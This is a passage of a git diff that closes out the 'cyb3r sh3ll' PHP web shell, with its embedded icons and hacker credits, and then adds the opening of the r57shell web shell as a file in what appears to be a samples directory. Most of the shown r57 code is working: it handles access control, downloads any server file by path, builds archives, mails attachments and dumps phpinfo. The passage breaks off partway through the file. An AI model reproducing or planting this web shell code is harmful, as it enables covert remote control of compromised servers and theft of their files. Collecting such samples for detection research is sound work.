+"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". + +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". + +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". + +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". + +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". + +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". + +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". + +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". + +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". + +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". + +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". + +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". + +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", + +"sql_button_insert"=> + +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". + +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". + +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". + +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". + +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". + +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". + +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". + +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". + +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". + +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". + +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". + +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". + +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", + +"up"=> + +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". + +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". + +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", + +"write"=> + +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". + +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". + +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", + +"ext_asp"=> + +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". + +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". + +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", + +"ext_mp3"=> + +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". + +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". + +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", + +"ext_avi"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". + +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". + +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", + +"ext_cgi"=> + +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". + +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". + +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". + +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". + +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". + +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". + +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". + +"RYtMAgEAOw==", + +"ext_cmd"=> + +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". + +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". + +"dmrYAMn1onq/YKpjvEgAADs=", + +"ext_cpp"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". + +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". + +"Eq7YrLDE7a4SADs=", + +"ext_ini"=> + +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". + +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". + +"SnEjgPVarHEHgrB43JvszsQEADs=", + +"ext_diz"=> + +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". + +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". + +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". + +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". + +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". + +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". + +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". + +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". + +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". + +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". + +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". + +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". + +"Ow==", + +"ext_doc"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". + +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". + +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", + +"ext_exe"=> + +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". + +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". + +"xhIAOw==", + +"ext_h"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". + +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". + +"Wq/NknbbSgAAOw==", + +"ext_hpp"=> + +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". + +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". + +"UqUagnbLdZa+YFcCADs=", + +"ext_htaccess"=> + +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". + +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". + +"AAA7", + +"ext_html"=> + +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". + +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". + +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". + +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". + +"ADs=", + +"ext_jpg"=> + +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". + +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". + +"FxEAOw==", + +"ext_js"=> + +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". + +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". + +"a00AjYYBbc/o9HjNniUAADs=", + +"ext_lnk"=> + +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". + +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". + +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". + +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". + +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". + +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". + +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". + +"ADs=", + +"ext_log"=> + +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". + +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", + +"ext_php"=> + +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". + +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", + +"ext_pl"=> + +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". + +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", + +"ext_swf"=> + +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". + +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". + +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". + +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". + +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", + +"ext_tar"=> + +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". + +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". + +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". + +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". + +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". + +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". + +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". + +"u4tLAgEAOw==", + +"ext_txt"=> + +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". + +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". + +"UpPWG3Ig6Hq/XmRjuZwkAAA7", + +"ext_wri"=> + +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". + +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", + +"ext_xml"=> + +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". + +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". + +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". + +"IQA7" + + ); + + //For simple size- and speed-optimization. + + $imgequals = array( + + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + + "ext_html"=>array("ext_html","ext_htm"), + + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + + "ext_lnk"=>array("ext_lnk","ext_url"), + + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + + "ext_doc"=>array("ext_doc","ext_dot"), + + "ext_js"=>array("ext_js","ext_vbs"), + + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + + "ext_wri"=>array("ext_wri","ext_rtf"), + + "ext_swf"=>array("ext_swf","ext_fla"), + + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + + ); + + if (!$getall) + + { + + header("Content-type: image/gif"); + + header("Cache-control: public"); + + header("Cache-control: max-age=".(60*60*24*7)); + + header("Last-Modified: ".date("r",filemtime(__FILE__))); + + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + + if (empty($images[$img])) {$img = "small_unk";} + + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + + echo base64_decode($images[$img]); + + } + + else + + { + + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
");}}}} + + natsort($images); + + $k = array_keys($images); + + echo "
"; + + foreach ($k as $u) {echo $u.":
";} + + echo "
"; + + } + + exit; + +} + +?> + +
+ +
(C) Copyright cyb3r 9l4d!470r [All rights reserved]
Greetz to : r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.
--[ cyb3r sh3ll v. Coded by cyb3r 9l4d!470r (cyber gladiator) | h4cK2b0yZz.. | Generation time: ]--
+
+ + + \ No newline at end of file diff --git a/data/samples/classic/r57.php b/data/samples/classic/r57.php new file mode 100644 index 0000000..accc1fa --- /dev/null +++ b/data/samples/classic/r57.php @@ -0,0 +1,2302 @@ +$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("r57shell : Access Denied"); + } +} +$head = ' + + +r57shell + + + +'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
